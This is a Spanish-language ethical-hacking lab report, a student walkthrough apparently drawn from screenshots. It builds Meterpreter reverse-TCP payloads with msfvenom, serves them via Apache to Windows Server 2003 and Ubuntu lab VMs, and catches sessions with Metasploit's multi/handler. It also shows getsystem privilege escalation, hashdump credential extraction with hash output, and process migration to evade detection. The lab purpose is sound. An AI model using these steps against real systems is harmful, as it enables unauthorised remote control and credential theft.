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Introduccion
El hacking ético consiste en realizar ataques controlados a sistemas y redes con el
objetivo de identificar vulnerabilidades antes de que puedan ser explotadas por atacantes
malintencionados. Durante el desarrollo del curso, se llevan a cabo este tipo de practicas
como método educativo para comprender, de forma segura, como operan los ciberataques y

como se pueden prevenir.

Para el desarrollo del laboratorio se trabajo con dos entornos de prueba: un sistema
operativo Windows Server 2003 y una distribucion Ubuntu Linux. En ambos casos se
generaron archivos maliciosos adaptados al sistema objetivo, los cuales fueron transferidos
y ejecutados en la maquina victima con el proposito de establecer una sesion en la consola

Meterpreter desde el equipo atacante hacia victima.

El presente informe tiene como finalidad detallar el paso a paso del proceso de

configuracion y ejecucion.



Alcance

El presente laboratorio tiene como alcance la creacién de archivos maliciosos con
el objetivo de que la maquina victima pueda ejecutarlos y, asi, establecer una sesion

remota de Meterpreter hacia el sistema comprometido.



Objetivos

General: Obtener una sesion remota de Meterpreter en las maquinas victimas.

Especificos:

e Crear un archivo malicioso adaptado al sistema operativo objetivo
utilizando la herramienta msfvenom

e Configurar y ejecutar el exploit multi/handler en msfconsole para gestionar
la conexion remota hacia el equipo atacante.

e Probar comandos basicos de post-explotacion en la sesion Meterpreter

establecida.



Planteamiento del problema

En el presente laboratorio se presenta la necesidad de establecer una conexion

remota no autorizada entre una maquina atacante y una maquina victima.



1 DESARROLLO DEL PROBLEMA

1.1 Capitulo 1: Ataque a Windows Server 2003

En este primer capitulo se describe el procedimiento realizado para generar un
archivo malicioso adaptado al sistema operativo Windows Server 2003. El proceso tuvo
como finalidad establecer una sesion remota con el equipo atacante mediante la ejecucion

del archivo en la maquina victima.

Los procedimientos se llevaron a cabo en varias etapas, iniciando desde la terminal

de Kali Linux, trabajando en modo superusuario (ejecute el comando sudo su).

1.1.1 Escaneo de red

Para realizar un escaneo red se usa el siguiente comando nmap -sV 100.10.2.0/24.

e Laopcion -sV permite detectar la version de los servicios que se ejecutan en
los puertos abiertos.
e FElrango 100.10.2.0/24 corresponde al segmento de red donde se encuentran

tanto la maquina atacante como las potenciales victimas.

1.1.2 Crear carpeta

Fue necesario crear un directorio que sirviera como ubicacion de trabajo para
generar el archivo malicioso, para ello se utiliz6 el comando mkdir de Linux, seguido del

nombre de la carpeta: mkdir CLASE



1.1.3 Acceso carpeta creada

Una vez generada la carpeta de trabajo, se procedio a ubicarse en dicha ruta
utilizando el comando cd (se utiliza para cambiar de ubicacion,) de Linux, seguido del

nombre asignado al directorio: cd CLASE

=

Archivo Maquina Ver Entrada Dispositivos Ayuda

B mEaP o1 2 3 4]|F ) O A 608 | a& ¢

root@Kkali: /home/kali/CLASE

Archivo Acciones Editar Vista Ayuda

[sudo] contrasefia para kali:

/home/kali
CLASE

llustracion 1A4cceso al directorio CLASE

1.1.4 Creacion del archivo malicioso

Ubicados en el Directorio de la carpeta creada, se procedio a la ejecucion del
comando para la creacion del archivo malicioso: msfvenom -p
windows/meterpreter/reverse_tcp LHOST=100.10.2.6 LPORT=4678 -f exe >
/home/kali/CLASE/satena.exe
Para este proceso se utiliz6 la herramienta msfvenom, especificando el payload
correspondiente a Windows con conexion inversa, la direccion IP del atacante (LHOST) y

el puerto de escucha (LPORT):

e -p windows/meterpreter/reverse_tcp: define el payload que establecerd una
conexion inversa hacia el atacante.
e LHOST=100.10.2.6: corresponde a la direccion IP de la maquina atacante.

e LPORT=4678: puerto configurado para escuchar la conexion entrante.



e -fexe: indica que el formato del archivo generado serd un ejecutable de

Windows.

e > /home/kali/CLASE/satena.exe: define el nombre y la ubicacion del archivo

de salida.

4
Archivo  Méquina Ver E

HemPe

root@kali: ome/kali/CLASE
Archivo Acciones Editar Vista Ayuda
asefa para kali:
/home/kali

/home/kali/CLASE

windows/meterpreter/reverse

[lustracion 2 Generacion del payload satena.exe

Se ejecuta el comando y se mostrara una salida como la siguiente:

Fd
Archivo  Méquina Ver Entrada

HemP o

root@kali: ome/kali/CLASE
Archivo Acciones Editar Vista Ayuda

/hm/kali

/home/kali/CLASE

1lustracion 3 Ejecucion del comando msfvenom en Kali Linux

1.1.5 Verificacion del archivo creado

Una vez finalizado el proceso de generacion del archivo malicioso, se procedio a
listar el contenido de la carpeta de trabajo con el comando Is. Para obtener una

visualizacién mas detallada de los permisos, propietario y tamafo del archivo, se empleo la
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ol root @kali: /home/kali/CLASE
Archivo Acciones Editar Vista Ayuda
[sudo] contrasefia para kali:

/home/kali
CLASE

/home/kali/CLASE

exe > /home/kali/CLASE/satena.exe
payload

/home/kali/CLASE

/home /kali/CLASE

/home/kali/CLASE

b 5 # M 27§ 63 ) CTRL DERECHA

4:10p.m.
= w0 s

1lustracion 4 Verificacion del archivo satena.exe

1.1.6 Encender Apache
En este laboratorio fue necesario utilizar Apache para crear un servidor web desde el cual
se pudiera cargar y distribuir el archivo ejecutable malicioso hacia la méquina victima.

Para ello, en la maquina atacante (Kali Linux) se inicid el servicio de Apache con el
siguiente comando: service apache? start



Archivo  Méquina Ver Entrada Dispositivos  Ayuda
ReEmP o

root@kalic var/www/html

Archivo Acciones Editar Vista Ayuda

Ma (a 2)

llustracion 5 Verificacion del servicio Apache

Posteriormente, se verifico el estado del servicio para confirmar que estaba en

ejecucion: service apache?2 status

1.1.7 Directorio Apache

Una vez verificado que el servicio de Apache estaba en ejecucion, se procedid a
acceder al directorio raiz donde se almacenan los archivos que el servidor muestra. Para

ello, se utilizé el comando: ed /var/www/html

Para garantizar que se pudieran realizar modificaciones dentro de esta carpeta, se
cambiaron los permisos de acceso mediante el siguiente comando: chmod 777

/var/www/html

/home/kali/CLASE
/var/wwi /html

/var/wwi/html
7777 /var/wmi/htal

/var/wei /html
777 /var/wwa/html

/var/wei/html

ONE PMB TN G O CTRUDERECH:

ESP
LAA

NG |

Ilustracion 6 Configuracion de permisos en el directorio /var/www/html



Importante: Una vez otorgados los permisos a la carpeta /var/www/html, es
necesario modificar el nombre del archivo index.html. Este archivo es el que Apache

muestra por defecto cuando un usuario accede al servidor web.

El cambio de nombre se realiza porque, de lo contrario, el index.html bloquea la
visualizacion directa de los archivos que deseamos compartir. Al modificarlo, garantizamos

que la victima pueda acceder sin inconvenientes al archivo malicioso que se ha preparado.

1.1.8 Copiar el archivo al directorio de Apache

Se procedid a ubicar nuevamente la terminal en la carpeta de trabajo donde se habia

generado el archivo malicioso: cd /home/kali/CLASE

Una vez dentro, el archivo satena.exe fue copiado hacia el directorio
/var/www/html, que corresponde a la ruta desde la cual Apache expone los archivos a

través del navegador web: cp satena.exe /var/www/html

/var/wei /html
/home/kali/CLASE

/home/kali/CLASE
satena.exe

/home/kali/CLASE
satena.exe /var/wmi/htal

/home/kali/CLASE
1x/wet /html

/home/kali/CLASE
/var/wes /htal

/var/wei /html

HOWS #ME (T % &0 CTRLDERECHA

Hustracion 7 Copia del archivo satena.exe al directorio de Apache



1.1.9 Acceso desde la maquina victima

En la maquina victima, se abri6é un navegador web y en la barra de direcciones se
ingreso la direccion IP de la maquina atacante. Como resultado, el servidor Apache
respondié mostrando su pagina de inicio, junto con el archivo malicioso previamente

copiado en el directorio /var/www/html.

Maquina Ver Entrada Disj

/2 Index of / - Microsoft Internet Explorer
Archive  Edicidn  Mer  Eavoros  Herramientas  Ayuda
© ) - [X) @) | ) posqueds < Favartos &2 | (0 L B
on [T s = B | vieuos 7

Abrir &n una ventana nueva

Guardar destino como,..
Imprimir desting

Cortar
Copiar odified Size Description
Copiar acceso directo N

Pegar 29 16:55 615

1Ldi Agregar a Favoritos. .. |29 1710 10K
Sttt 011625 72K

Apache/2.4.03 (Debian) Server at 100.10.2.6 Port 80

|

£] Inserta el contenido del Portapapeles en el punto de insercién [ [ [ [ | |@ stis de confianza

Aimicio| | @ (2 | B ciiwmpowsleystenaz. . |[£] indes of / - Microsoft .. | B[ 174

8O kT #ME DS @0 cTrL DERECHA

ESP

I~ = ) my  42Pm

Hlustracion 8 . Visualizacion del archivo satena.exe en el navegador de la maquina victima

De esta forma, en la victima se pudo visualizar el archivo ejecutable satena.exe,

disponible para su descarga directa.
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llustracion 9 Descarga del archivo satena.exe

Desde el navegador web de la maquina victima se procedi6 a descargar el archivo
malicioso satena.exe disponible en el servidor Apache del atacante. El archivo fue

guardado, en este caso, el Escritorio del sistema Windows Server 2003.

Una vez finalizada la descarga, se pudo verificar que el ejecutable se encontraba

almacenado correctamente en la ubicacion indicada.Ver imagen 10
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CWINDOW S syskem32tomd, exe

lt;flniciul | @ @ | B c\wDowSisystemp2. .. | B[ 1831

BONMDS &P S 9 & B CTRL DERECHA

[lustracion 10 Archivo satena.exe descargado en el Escritorio de la maquina victima

1.1.10 Ejecucién del exploit
Para iniciar el proceso de explotacion, se abrid una nueva terminal en la maquina

atacante y se ejecutd la consola de Metasploit mediante el siguiente comando: msfconsole

Dentro de la consola, se procedid a buscar el médulo adecuado para manejar la

conexion inversa utilizando el comando: search multi/handler



hing W

ELEY re Date Rank

manager_persistence 1999-83-09

shock) Scanner

manual
good I ] e Code Execution
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ESP 5
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Llustracion 11 Busqueda del exploit multi/handler en Metasploit

1.1.11 Seleccion del exploit

Una vez localizado el mddulo adecuado en Metasploit, se procedid a seleccionar el
exploit multi/handler. Para ello se puede emplear el nimero asignado en la lista de
resultados de la busqueda o escribir el nombre completo del modulo. En este caso, el

comando utilizado fue: use 7

Interact with a module by name or index. For example

msf6 > use 7
Using configured payload generic/shell_reverse_tcp

Hustracion 12 Seleccion del exploit multi/handler en Metasploit Windows 2003

1.1.12 Configuracién del payload y conexion

Se procedio a establecer el payload correspondiente al archivo malicioso creado

previamente. En este caso, se definio el siguiente: windows/meterpreter/reverse_tcp



Interact with a module by name or index. For example
> use 7
ng configured payload generic/shell_reve
ms ploit( ) > set payload windows.
payload windows/meterpreter/reverse_tcp
ms ploit( ) > options

Payload options (windows/meterpreter/reverse_tcp):

rrent Setting Required Description
EXITFUNC process t hnique (Accepted: ' seh, thread, process, none)
LHOST e listen address (an interface may be specified)
LPORT bbb The listen port
Exploit target:
Id Name

Wildcard Target

1lustracion 13 Payload Windows

Luego, se configuraron los datos de conexion del equipo atacante, indicando la
direccion IP local (LHOST) y el puerto de escucha (LPORT) que se habian definido

durante la creacion del payload con msfvenom:

View the full module info with the , or command.
) > set LHOST 100.10.2.6

) > set LPORT 4678
LPORT = 4678
6 exploit( ) > options

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process e Exit technique (Accep L0 h, thread, process, none)
LHOST 100.10.2.6 The listen addr terface may be spec ed)

LPORT 4678 isten port

Exploit target:

Id Name

Wildcard Target

iew the full module info with the , or command.

ms f ploit( ) > exploit
Started reverse TCP handler on 100.10.
ding stage (177734 bytes) to 100.10

llustracion 14 Configuracion de Conexion Windows 2003

Verificamos las configuraciones nuevamente con el comando: options



U

1.1.13 Apertura de sesion

Con todos los parametros configurados en Metasploit, se procedio a la ejecucion del

exploit mediante el comando: exploit

Al ejecutar este comando, Metasploit quedod a la espera de una conexion desde la

maquina victima.

View the full module info with the , or command.
) > set LHOST 100.10.2.6

) > set LPORT 4678

78

msf6 exploit( ) > options

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC proces:

LHOST 100.10.2.6

LPORT 4678
Exploit target:

Id Name

© Wildcard Target

View the full module info with the , or command.

it( ) > exploit
d reverse TCP handler on 100.10.2.6:4678
Sending stage (177734 bytes) to 100.10.2.7

En paralelo, en el equipo Windows Server 2003 (victima), se realiz6 un clic sobre el
archivo malicioso satena.exe descargado previamente en el Escritorio. Al ejecutarse el
archivo, se establecio una conexion inversa hacia la maquina atacante, lo que permitié

abrir la consola Meterpreter en Kali Linux.

1.1.14 Escalacion de privilegios

Una vez establecida la sesion remota con Meterpreter, se procedio a realizar la
escalacion de privilegios en la maquina victima. Para ello, se siguid la secuencia de

comandos en el siguiente orden:



U

Sysinfo: Permite visualizar informacion basica del sistema comprometido, como el

nombre del equipo, sistema operativo y arquitectura.

Getuid: Muestra el usuario con el que se establecio la sesion Meterpreter

inicialmente.

1. Getsystem: Intenta ejecutar automaticamente técnicas de escalada de privilegios

para obtener permisos de administrador en la maquina victima.

Una vez obtenidos los privilegios elevados, fue posible navegar en el sistema y

acceder a archivos y directorios que requieren permisos administrativos.

(5.2 Build 3790, Service Pack 1).

Administrador

1 (Named Pipe Impersonation (In Memory/Admin)).

Ilustracion 15 Escalacion de privilegios en la sesion Meterpreter

Ejecutamos hashdump: Dentro de la sesion Meterpreter y una vez obtenidos

privilegios elevados, se ejecutd el comando: hashdump

Este comando permite obtener los hashes de las contrasefias de los usuarios

registrados en el sistema comprometido.

Los resultados muestran las credenciales en formato cifrado (hashes),

De esta manera, se comprobo que era posible acceder a informacion sensible del

sistema Windows Server 2003 comprometido.



meterpreter > sysinfo
: WINDOWS-T5P20P4
(5.2 Build 3790, Service Pack 1
Architecture
System Language &
Domain : GRUPO_TRABAJO
Logged On Users 2
Meterpreter : x86/windows
meterpreter > getuid
Server usernam WINDOWS-T5P20P4\Administrador
meterpreter > getsystem
via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > hasdump
Unknown command: hasdump. Did you mean ? Run the command for more details.
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089c0
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 @
SUPPORT_388945a aad3b435b51404eeaad3b4s35b51404ee:e945df104465178a434344dF99461721
meterpreter > ops
Unknown command: ops. Run the command for more details.
meterpreter > ps

Process List

1lustracion 16 Comando hashdump

1.1.15 Migracién de proceso

En la sesion activa de Meterpreter, se utilizo el comando: ps

Archi quina Ver Entrada Dispositivos Ayuda

ﬁ!m-"‘,’:h‘1 O & A g a ¢

Archivo Acciones Editar ta Ayuda Captura de pantalla tomada
meterpreter > ps

NT AUTHORIT
NT THORIT
WINDOWS-T5P20!
NT AUTHORITY
NT AUTHORITY
NT AUTHORITY
NT AUTHORIT
NT AUTHORIT
NT AUTHORITY
NT AUTHORIT
NT AUTHORITY
NT AUTHORITY

AUTHORIT

AUTHORITY

T5!

NT AUTHORITY
NT AUTHORIT
NT AUTHORITY
NT Y
NTNDOK Administ:
WINDO Administ:
WINDOI 5 Administ:
NT AUTHORITY TEM

llustracion 17 Comando ps Windows 2003



Este comando muestra un listado de los procesos en ejecucion dentro del sistema
victima, incluyendo su nombre, identificador de proceso (PID) y usuario bajo el cual se

ejecutan.

Luego, se seleccionaron los PID correspondientes al proceso explorer.exe, un
proceso confiable Windows, con el fin de migrar la sesioén del payload desde el archivo

malicioso satena.exe hacia dicho proceso. Para ello, se ejecutd: migrate 1564 1376

Donde: 1564 corresponde al PID de explorer

1376 corresponde al PID de satena.exe

3
Archive Maquina Ver Entrada Dispositivos Ayuda
S| 1 2
leali@kali: ~
Editar Vista Ayuda

n Prc

NT

NT A
NT A
NT A
NT A
NT

NT A
NT A
NT

NT A
NT
WINDOY
NT AUTH
NT AUTHI
NT AUTH

ate? Run the command for more details.

u mean migrate? Run the command for more details.

1lustracion 18 Migracion del proceso satena.exe hacia explorer.exe usando su PID



NT AUTHORIT
NT AUTHORIT
WINDOWS-T5P
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORITY
WINDOWS-TS
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
NT AUTHORIT
WINDOW
WINDOW
WINDOW

NT AUTHORITY

meterpreter > ps

Process List

Name d Session User

[System Process]

System

Smss.exe X NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
cmd. exe 3 WINDOWS-T5P20P4\Administrador

Ccsrss.exe NT AUTHORITY TEM

winlogon.exe x NT AUTHORITY\SYSTEM \C:\WINDOWS\system32\winlogon.exe
services X NT AUTHORITY\SYSTEM WINDOWS\system32\services.exe
1sas X NT AUTHORITY\SYSTEM WINDOWS\system32\lsass.
svchost. X NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
wmiprvse.exe NT AUTHORITY\SYSTEM WINDOWS\system32\wbem\wmiprvse.exe
svchost.exe WINDOWS\system32\svchost.
svchost. :\WINDOWS\system32\svchost.
svchost. WINDOWS\system32\svchost.
svchost. NT AUTHORITY\SYSTEM WINDOWS\System32\svchost.
cmd. exe x86 NT AUTHORITY\SYSTEM INDOWS\system32\cmd.exe
wuauclt.ex X, WINDOWS-T5P20P4\Administrador WINDOWS\system32\wuauclt.ex
mmc.exe 8 WINDOWS-T5P20P4\Administrador C:\WINDOWS\system32\mmc.exe
spoolsv. NT AUTHORITY\SYSTEM

msdtc.e. x86 INDOWS\system32\msdtc.e>
svchost. NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost
svchost. WINDOWS\system32\svchost.exe
explorer.ex: > WINDOWS-T5P20P4\Administrador WINDOWS\Explorer.EXE
ctfmon.exe x86 WINDOWS-T5P20P4\Administrador WINDOWS\system32\ctfmon.exe
svchost.exe X NT AUTHORITY\SYSTEM :\WINDOWS\System32\svchost.exe

De esta forma, la sesion de Meterpreter dejo de depender del ejecutable malicioso y
paso a ejecutarse dentro de explorer.exe, lo que otorga mayor estabilidad a la conexién y

reduce la posibilidad de ser detectada o interrumpida si el usuario cierra el archivo inicial.



1.2 Capitulo 2: Ataque a Ubuntu

En este segundo capitulo, se llevo a cabo la creacion y ejecucion del archivo
malicioso disefiado para un entorno Linux Ubuntu, con el fin de establecer una sesion

Meterpreter entre la maquina atacante (Kali Linux) y la méquina victima.

Al igual que en el caso de Windows, el procedimiento constd de varias fases:

1.2.1 Creacion de una nueva maquina virtual

Se utilizé una imagen ISO de Ubuntu, previamente descargada. Desde la ventana
principal de VirtualBox, se seleccioné la opcion “Nueva”, lo que permiti6 iniciar el

asistente de configuracioén de la maquina virtual.

Midquina  Ayuda

; ‘ § Herramientas
Iniciar

Kali linux B Previsualizacion
=» Corriendo
Metasploitable3-ub1404
@ Apagad -
“pagese bas Windows 2003
D

etasploitable3-workspace_win2k8_1753911181128_4...
Apagada

Metasploitable 2
@ Apagada

Inhabilitad
Inhabilitado

M Carpetas compartidas

Ninguno

6 Descrincién

(ol BN/IN < IN-BN-N: | Ao

Ilustracion 19 Inatalacion Ubuntu



En este asistente se definieron los parametros como el nombre de la méaquina, el tipo

y version del sistema operativo, la cantidad de memoria RAM asignada y la configuracion

del disco duro virtual.

= Crear maquina virtual

“ MNombre y sisterna operative
Mombre: UBUNTLU

Carpeta: sershMATA\VirtualBox

Imagen |50: se A sktophubuntu-24.04.2-desktop-amdbd.iso

Tipo:  Linux
Subtype:  Ubuntu
v : Ubuntu (64-bit)

v Omitir instalacion desatendida

> Instalacion desatendida

) Hardware

> Disco dure

Ayuda

Terminar Cancelar

[lustracion 20 Pardmetros de la maquina virtual Ubuntu

Se realiza clic en el boton Terminar.

La maquina virtual Ubuntu fue configurada en el mismo segmento de red que la

maquina atacante, con el fin de asegurar la conectividad entre ambos equipos.



Basic

Q General Red
Adapta

Sistema

Pantalla
Red NAT

Almacenamiento
Audio
Red h Miscuo:
Puertos serie
v Cable conectado

Use
Carpetas compartidas

Puertos serie

E Interfaz de usuario Puerto 1

Aceptar Cancelar

varllia i RS LS P I Add e

1lustracion 21 Configuracion Red Nat Ubuntu

Para ello, en VirtualBox se accedi6 a la opcion Configuracion — Red, donde se
selecciono el modo de Red NAT, el cual ya estaba siendo utilizado por el equipo atacante

(Kali Linux).

2 Oracle VirtualBox Administrador

Msquina

T e st B >

Nueva Afiadit  Configuracién Iniciar
E General Previsualizacién
UBUNTU

Metasploitable3-ub1404
® Apagada

etasploitable3-workspace win2k8 1753911181128 4.. A om o v n KVM
Apagada

Metasploitable 2
@ Apagada

Windows 2003 oto: Inhabilitado
® Apagada G : Inhabilitado

® Apagada

[Unidad 6ptica] ubuntu

UBUNTU_

M Carpetas compartidas

Ninguno

Q= oM DO i




Una vez ajustada la red, se procedi6 a iniciar la maquina virtual y comenzar con la
instalacion del sistema operativo. Durante el proceso se completaron los pasos habituales
de instalacion: seleccion de idioma, configuracion de usuario, contrasena, y asignacion de

recursos basicos.

1.2.2 Creacion de la carpeta

En la maquina atacante (Kali Linux) se cre6 el directorio. Para ello, se utiliz6 el
comando mkdir de Linux, asignando como nombre de la carpeta TALLER: mkdir

TALLER

=

Archivo Maquina Ver Entrada Dispositivos Ayuda

’Q}.-D‘\EIV)1234}‘5"_’_€L O 49 A g3 /& cC
al root@kali: /varfwww/html

Archivo Acciones Editar Vista Ayuda

TALLER

[sudo] contrasefia para kali:
/home/kali

[lustracion 22 Creacion de la carpeta TALLER ataque Ubuntu

1.2.3 Creacion del archivo malicioso

Una vez creada la carpeta de trabajo, se accedi6 a la misma mediante el comando:

cd TALLER

Ya en el directorio, se procedi6 a la creacion del archivo malicioso utilizando la
herramienta msfvenom. El payload generado fue disenado para sistemas Linux de 64 bits,

estd arquitectura se verifico previamente en la maquina Ubuntu con el comando: uname -m



Ilustracion 23 Arquitectura Ubuntu

Con el fin de establecer una conexion inversa hacia la maquina atacante. El
comando utilizado fue: msfvenom -p linux/x64/meterpreter/reverse tcp

LHOST=100.10.2.6 LPORT=4444 -f elf > /home/kali/TALLER/satena.elf

/home/kali
TALLER

/home/kali/TALLER
i /home/kali/TALLER/satena.elf

fied, outputting raw pay

[lustracion 24 Creacion del archivo malicioso satena.elf

Donde:

e -p linux/x64/meterpreter/reverse_tcp — indica el tipo de payload.

e LHOST=100.10.2.6 — define la direccion IP del atacante.

e LPORT=4444 — establece el puerto de escucha.

o -felf — especifica el formato del archivo ejecutable en Linux.

e /home/kali/TALLER/satena.elf — guarda el archivo en la carpeta de trabajo.

e De esta manera se genero el archivo satena.elf,



1.2.4 Copia del archivo al servidor Apache

Con el archivo malicioso generado, se procedid a colocarlo en la carpeta del
servidor web Apache con el fin de que pudiera ser descargado por la maquina victima. Para
ello, desde la ruta donde se encontraba el archivo, se ejecutd el comando: cp satena.elf

/var/www/html

/home/kali/TALLER
satena.elf /var/ww/html

/home/kali/TALLER
/var/wmi/html

/var/wewi/html

&) 25°C
o | =F Q Buscar

Prac. despejado

Lustracion 25 Copia del archivo satena.elf al directorio de Apache

Al igual que para Windows, se inicia el servicio web Apache en la maquina
atacante (Kali Linux). Esto se realizé mediante el siguiente comando: service
apache? start

/var/wwm/html
apache2 start

/var/vwwi/html
777 /var/wwi/html

/var/vwwwi/html

o
= | iy =,! Q Buscar

Prac. despejado

llustracion 26 Inicio Apache ataque Ubuntu



1.2.5 Acceso al archivo desde la maquina victima

En la méaquina victima (Ubuntu), se abri6 el navegador web y en la barra de

direcciones se ingreso la direccion IP de la maquina atacante.

=
Archivo Maquina Ver Entrada Dispositivos Ayuda

- 2desep 18:09

$$ 3 | Indexof/ X |+
« (¢] O R/ 100.10.2.6

Index of /

Name Last modified Size Description

index.nginx-debian.html 2025-07-29 16:55 615
index2.html 2025-07-29 17:10 10K
@ satena.elf 2025.09.02 180 207
satenad Abrir enlace en una pestana nueva

Abrir enlace en una ventana nueva

Apache/2.4.  Abrir enlace en una nueva ventana privada

Anadir enlace a marcadores..
Guardar enlace como.
Guardar enlace en Pocket

Copiar enlace

Buscar "satena.elf" en Google

Traducir texto del enlace a espanol

Inspeccionar

)i P W 15 7S, 63 B3 CTRL DERECHA)

~ EP N gy g S0Pm

LAA 2/09/2025

Hlustracion 27 Visualizacion del archivo satena.elf en el navegador de la maquina victima Ubuntu

Como resultado, en la pagina principal del servidor Apache, se muestra el archivo

malicioso satena.elf



Durante el proceso de descarga, se seleccion6 como ubicacion de destino el

directorio Escritorio.

B

Archive  Maguina Ver Entrada Dispositivos  Ayuda
x| +

O & 1001026

Index of /

Name Last modified Size Description

]'IldEX.ngjgg-dehian.] Cancelar Nombre — satena.elf

index2.html
B — {3t Carpeta... (3t nata | IJ Escritorio

satena.exe { Descargas

Apache/2.4.63 (Debian)§ =) Pocume -

Imagenes

J1 Msica

B videos

+ Otrasub...

elfFile ~

Ilustracion 28 Desacrga del archivo maquina Ubuntu



Abrimos una nueva terminal en Kali Linux, alli se ejecut6 el msfconsole,

posteriormente se busco el Exploit multi/handler con el comando use

Fd
Archivo Maquina Ver Entrada Dispositivos  Ayuda

q o m SF]-|1 2 3 4@ O A g2023|ac

lali@kali: ~
Archivo Acciones Editar Vista Ayuda

Metasploit tip: Use help <command> to learn more about any command

etaspl . 4.64-de

519 exploits - 5 auxiliary - 431 post
1610 payloads - 49 encoders - 13 nops

9 asion

Metasploit Documentation: https://docs.metasploit.com/
f6 > search multi handler

Matching Modul

Name ank Description
exploit/linux/local/apt_package_manager_persistence APT Package Manager Persistence
exploit/android/local/janus manual Android Janu K Signature bypass

auxiliary/scanner/http/apache_mod_cgi_bash_env 0 normal Apache mod_cgi ironment Variable Injection (Shellshock) Scanner
exploit/linux/local/bash_profile_pe normal 0 Bash Profile Persistence

exploit/linux/local/desktop_privilege_esc 2014-08-07 Desktop Linux Password Stealer and Priv calation

manual Generic Payload HERALEH

Vi P & W 215 1. 68 B3 CTRL DERECHA

= O M C ) 9 u a mf & A Y

LAA 2/09/2025

Llustracion 29 msfconsole para ataque Ubuntu

Using configured payload generic/shell_reverse_tcp
i ) > set payload linux/x64/meterpreter/reverse_tcp
x64/meterpreter/reverse_tcp
) > set LHOST 100.10.2

msf6 exploit( ) > set LPORT 4444
LPORT = 4444
X ) > exploit
Started reverse TCP handler on 100.10.2.6:4444
Sending stage (3045380 bytes) to 100.10.2.9
ession 1 opened (100.10.2.6:4444 — 100.10.2.9:5 2 . 1:17 -0500

)i 5 & W 215 7S, 43 3 CTRL DERECHA|

- ESP 824p.m.
Prac. despejado mm Q Buscar ) - > ) @

LAA 2/09/2025

1lustracion 30 Seleccion del Exploit Ubuntu



1.2.6 Datos de conexion y Exploit

Se configuro el payload correspondiente al archivo malicioso previamente generado

mediante msfvenom: set payload linux/x64/meterpreter/reverse tcp

Luego, se definieron los pardmetros de red necesarios para establecer la

comunicacion:
e LHOST: Direccion IP de la maquina atacante (Kali Linux)
e LPORT: Puerto que estard a la escucha para recibir la conexioén
Finalmente, se ejecuto el comando: exploit

Con esta accion, Metasploit queda a la espera de una conexion entrante desde el
archivo malicioso cuando este sea ejecutado en la maquina Ubuntu, lo cual permitira iniciar

la sesidn remota de control.

> use 7
g configured payloa 11_r. cp
exploit( i x64/meterpreter/reverse_tcp

set LHOST 100.10.2.6
LHOS
nsf6 ex ) > set LPORT 4444
LPOR 4
nsf6. t( ) > exploit
s rse TCP handler on 100.10
5380 bytes) to 100.
sion 1 opened (100.10.2.6:4444 — 100.10.2.9:56482) at 2025-09-02 20:21:17 -0500

)5 & M5 S, 63 B3 CTRL DERECHA

824p.m.

&) 25 ] g = ESP
Jprac despejado mm Q Buscr m < H ? (-] 9 a I / o o2 AR 7 P @ 2/09/2025

llustracion 31 Inicio del Exploit Ubuntu



Una vez iniciado el exploit desde Kali Linux, en la maquina Ubuntu se procede a
ejecutar el archivo malicioso. Para ello, se accede a la terminal con privilegios de
superusuario y, ubicandose en el directorio donde se encuentra el archivo, se ejecutan los

siguientes comandos:

Archivo Maquina Ver Entrada Dispositivos Ayuda

‘* It root@nata-VirtualBox: /home/nata/Escritorio

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

@ [sudo] contrasena para nata:
Lﬂ root@nata-VirtualBox:/home/nata# chmod +x satena.elf

chmod: no se puede acceder a 'satena.elf': No existe el archivo o el directorio
3 root@nata-VirtualBox:/home/nata# cd Escritorio
root@nata-VirtualBox:/home/nata/Escritorio# ls
satena.elf
root@nata-VirtualBox: /home/nata/Escritorio# chmod +x satena.elf
root@nata-VirtualBox:/home/nata/Escritorio# ./satena.elf

:-$ sudo su

B 0N GF &N E LTS G B CTRLDERECHA|

&) 25 m " ESP 822p.m.
= Prac. despejado mm Q Buscr - 2 [TV S W @ 2/09/2025

1lustracion 32 Ejecucion del archivo malicioso Ubuntu

1.2.7 Escalar privilegios

meterp > inf
100@.1
Ubuntu 04 (Linux 6.14.

linux-musl

“pri extension to be loaded (run:

Terminate channel 17 [y/N] vy

Mlustracion 33 Escalar privilegios Ubuntu



Se intent6 realizar la escalada de privilegios desde la sesion Meterpreter obtenida.

Se ejecutaron los comandos sysinfo, getuid y getsystem en orden.

El comando getsystem no se encuentra disponible en Linux, ya que esta disefiado
para sistemas operativos de Windows. Po lo cual, la escalada de privilegios no pudo

completarse utilizando esa técnica.

v @ (32) WhatsApp x G como borrar una carpetaenlin X | @ Error en payload msfvenom x | + — g

rchivo Msquina Ver Entrada Dispositivos Ayuda
| m PO 23
kali@kali: ~
Archivo Acciones Editar Vista Ayuda

3541 firefox
3541 firefox
[kworker/u5:2-ttm]
fwupd ¢ r ec/fwupd/fwupd
Web Content / refox/5751/usr/lib/firefo
leb Content > a /s /lib/f

fsd-network /usr/libe:
d-dnssd /usr/libe:
gvfsd-recent /usr/libe:
[kworker/ cgroup_destroy]
ents_power_efficient]

/usr/bin/pipe
pipewire at /usr/bin/pipewire
wireplumber /usr/bin/wireplumber
[kworker/u5:

[kworker/u4 v er_efficient]

[kworker/u&

[kworker/@:1-ata_sff]

[kworker/0:0H-kblockd]

[kworker/u4:5-events_unbound]

gnome-terminal-server /usr/libexec/gnome-terminal-server
bash X a /usr/bin/

sudo /usr/bin/sudo

sudo a /usr/bin/sudo

su /usr/bin/su

bash r' /usr/bin/bash
[kworker/@:1H-kblockd]

satena.e r /home/nata/Escritorio/satena.elf
[kworker/@

[kworker/uS

[kworker/0:0]

25°C 829p.m.

Esp
Prac. despejado [ Q Buscar - & A WD 2/09/2025

Mlustracion 35 Migrate Ubuntu

